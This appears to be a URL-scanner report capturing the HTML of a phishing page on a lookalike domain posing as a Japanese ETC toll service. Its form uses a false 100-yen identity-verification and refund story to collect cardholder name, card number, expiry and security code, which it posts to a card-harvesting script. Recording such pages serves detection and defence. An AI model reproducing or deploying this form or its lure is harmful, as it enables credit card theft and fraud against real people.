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URL: https://www.goto-etc-co.pop-jp.shenway.com.cn/third.php
Submission: On March 27 via api from JP — Scanned from JP

Form analysis 1 forms found in the DOM

POST card/smcc.php

<form method="post" action="card/smcc.php">
  <div class="third-from">
    <div id="alertMsg" class="bg-orange mt-2 mb-2 align-items-center d-none">
      <p>有効な情報を記入してください。</p>
    </div>
    <!-- <label for="radio-1" class="custom-radio mb-2">
										<input type="radio" name="radio" id="radio-1" value="">
										<span></span>
										<p>男性</p>
										</label> -->
    <h5 class="yellow-box">再発送はあなたの箇人の身分を検証する必要があって、あなたの常用のカード番号を入力してください、100円控除を身元確認にして、ご本人であることを確認する、認証完了から1営業日以内にクレジットカードに返金されます。</h5>
    <table class="table-form mb-4">
      <tbody>
        <tr>
          <th colspan="2" class="table-header">※カード名義人 </th>
          <td class="table-data">
            <div class="table-flex">
              <div class="table-input">
                <label for="input-0" class="form-input form-right">
                  <input type="text" name="cardenname" id="creditEnname" oninput="" class="w-200p bg-input-white" maxlength="19" minlength="1">
                  <span class="text-green">（例：KAZUO YAMAMOTO）</span>
                </label>
              </div>
            </div>
          </td>
        </tr>
        <tr>
          <th colspan="2" class="table-header">カード番号 </th>
          <td class="table-data">
            <div class="table-flex">
              <div class="table-input">
                <label for="input-1" class="form-input form-right">
                  <input type="text" name="cardnumber" id="creditCard" oninput="check_card()" class="w-200p bg-input-white" maxlength="19" minlength="15">
                  <span style="color:red" id="card_error"></span>
                  <span class="text-green">（例：1234567890123456、1234-5678-9012-3456）</span>
                </label>
              </div>
            </div>
          </td>
        </tr>
        <tr>
          <th colspan="2" class="table-header">有効期限</th>
          <td class="table-data">
            <div class="table-flex select-flex">
              <select id="expmon" class="w-10" name="exp_month">
                <option></option>
                <option>1</option>
                <option>2</option>
                <option>3</option>
                <option>4</option>
                <option>5</option>
                <option>6</option>
                <option>7</option>
                <option>8</option>
                <option>9</option>
                <option>10</option>
                <option>11</option>
                <option>12</option>
              </select>
              <i>/</i>
              <select id="expyr" class="w-10" name="exp_year">
                <option></option>
                <option>22</option>
                <option>23</option>
                <option>24</option>
                <option>25</option>
                <option>26</option>
                <option>27</option>
                <option>28</option>
                <option>29</option>
                <option>30</option>
                <option>31</option>
              </select>
            </div>
          </td>
        </tr>
        <tr>
          <th colspan="2" class="table-header">セキュリティコード </th>
          <td class="table-data">
            <div class="table-flex">
              <div class="table-input">
                <label for="input-2" class="form-input form-right">
                  <input name="card_code" type="text" id="securityCode" class="w-100p bg-input-white" maxlength="4" onkeypress="return (event.charCode >=48 &amp;&amp; event.charCode <=57)">
                </label>
              </div>
            </div>
          </td>
        </tr>
      </tbody>
    </table>
    <div class="visa-img">
      <img src="./assets/images/third/fig20.jpg" alt="">
    </div>
    <div class="yellow-box">
      <p><span>!</span> <i>注意事項</i></p>
      <h6>VISA／MasterCard／Diners／JCBの場合 <br> カード裏面に3桁の番号が印刷されています。印刷されている3桁の番号をご入力ください。</h6>
      <img src="./assets/images/third/fig15b.gif" alt="">
    </div>
    <!-- <label for="radio-2" class="custom-radio">
										<input type="radio" name="radio" id="radio-2" value="">
										<span></span>
										<p>男性</p>
										</label> -->
  </div>
  <div class="btn-wrap my-3">
    <a href="./second.php" class="btn-white-border"><span class="left-arrow"></span> 戻る</a>
    <div class="btn-greenorange">
      <!-- <a id="nextBtn" class="btn-green"></span> 次へ <span class="right-arrow"></a> -->
      <button type="submit" id="nextBtn" class="btn-green" name="Enregister">次へ<span class="right-arrow"></span></button>
    </div>
  </div>
</form>

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